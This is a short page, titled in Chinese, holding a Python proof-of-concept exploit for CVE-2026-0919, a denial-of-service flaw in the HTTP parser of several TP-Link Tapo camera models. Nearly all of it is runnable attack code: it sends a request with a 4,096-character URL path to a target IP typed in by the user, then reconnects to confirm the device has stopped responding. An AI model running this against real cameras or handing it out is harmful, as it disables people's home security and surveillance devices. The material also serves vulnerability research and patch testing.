CVE-2026-0919 | TP-Link Tapo摄像头HTTP解析器过长URL路径拒绝服务漏洞

import socket import time def exploit_cve_2026_0919(target_ip, target_port=80): """ CVE-2026-0919 PoC - TP-Link Tapo Camera HTTP Parser DoS This PoC demonstrates how an excessively long URL path can trigger a denial of service condition in vulnerable Tapo camera firmware. Affected Models: Tapo C210 v3, C220 v1, C520WS v2 """ # Generate excessively long URL path to trigger buffer handling error long_path = "/" + "A" * 4096 # Craft malicious HTTP request http_request = f"GET {long_path} HTTP/1.1\r\n" http_request += f"Host: {target_ip}\r\n" http_request += "User-Agent: Mozilla/5.0\r\n" http_request += "Connection: close\r\n" http_request += "\r\n\r\n" print(f"[*] Sending malicious HTTP request to {target_ip}:{target_port}") print(f"[*] URL path length: {len(long_path)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode('utf-8')) # Wait for potential crash time.sleep(3) # Try to reconnect to verify DoS condition try: sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.settimeout(5) sock2.connect((target_ip, target_port)) print("[-] Target still responding - DoS may have failed") sock2.close() except: print("[+] Target not responding - DoS successful!") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = input("Enter target IP: ").strip() exploit_cve_2026_0919(target)